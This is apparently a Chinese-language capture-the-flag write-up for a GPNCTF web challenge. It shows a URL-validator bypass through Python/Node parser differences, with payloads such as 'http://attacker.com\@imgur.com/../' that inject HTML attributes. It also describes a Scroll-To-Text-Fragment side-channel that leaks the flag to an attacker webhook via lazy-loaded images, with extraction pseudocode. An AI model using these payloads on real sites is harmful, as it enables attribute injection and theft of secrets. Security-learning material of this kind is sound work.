此处存在未转义的插入
html
{% if note.image_url %}
<img src={{note.image_url}} alt="Your favorit Image">
{% endif %}
对域名的校验逻辑如下
python
if image_url and not validate_url(image_url, target_domain='imgur.com'):
python
def validate_url(url: str, target_domain: str = None) -> bool:
"""
校验URL是否合法,并可选校验域名是否为指定目标域名
:param url: 需要校验的URL字符串
:param target_domain: (可选)目标域名,若指定则校验URL的主机名是否与之相同
:return: 如果URL合法且(可选)域名匹配则返回True,否则返回False
"""
try:
parsed = urlparse(url) # 解析URL
print(f"Parsed URL: {parsed}") # 打印解析结果,便于调试
# 检查协议是否为http或https,且主机名不为空
if parsed.scheme not in ('http', 'https') or not parsed.hostname:
return False
# 如果指定了目标域名,则校验主机名是否与目标域名一致
if target_domain and parsed.hostname != target_domain:
return False
return True # 校验通过
except Exception:
# 发生异常时返回False
return False
仔细观察,我们能注意到机器人端(NodeJS URL / Puppeteer)再解析一次同一个 URL 才真正发请求。这两套解析器并不完全一致,出现了解析差异的可能(parser differential)。
http://evil.com\@example.com
- Python 认为 host 是 example.com(@ 后的内容当用户名被吃掉了);
- NodeJS 把 \ 当 /,host 读成 evil.com,成功绕过。
- .../ → WHATWG 解析器会做路径归一化,而 urlparse 不会。配合上一条可把 /@example.com 归回根路径 /,避免 404。
这意味这我们可以轻易绕过
js
http://attacker.com\@imgur.com/../" ANY_ATTR=ANY_VALUE
但是题目拥有严格的要求
python
CSP_POLICY = (
"default-src 'none'; "
"script-src 'self'; "
"style-src https://cdn.simplecss.org 'self'; "
"img-src *; "
"base-uri 'none';"
"frame-ancestors 'none';"
)
禁止所有内联 JS、禁止外域脚本、禁止 CSS 利用。因此思路改为侧信道(XS Leaks)------Scroll-To-Text-Fragment (STTF):
-
浏览器访问 URL#:~:text=<要搜索的字符串> 时,会在页面加载完毕后自动滚动到第一个匹配的位置。
-
页面很长时会使用"懒加载图片"(loading=lazy);只有滚动到可视区域的图片才会真的发出 HTTP 请求。
-
我们把自己的 webhook 图片放在离顶部很远的位置;只有当浏览器因为 STTF 滚动到这一行时才会触发请求。
.../note/<id>%#:~:text=💻
最终流程类似如下
python
flag = "GPNCTF{"
while not flag.endswith("}"):
group1, group2 = split(emojis)
url = /note/<id>%23:~:text=flag+group1&text=FLAG_NOT_FOUND # 同时挂 fallback
send_to_bot(url)
if webhook_hit():
emojis = group1
else:
emojis = group2
if len(emojis) == 1:
flag += emojis[0]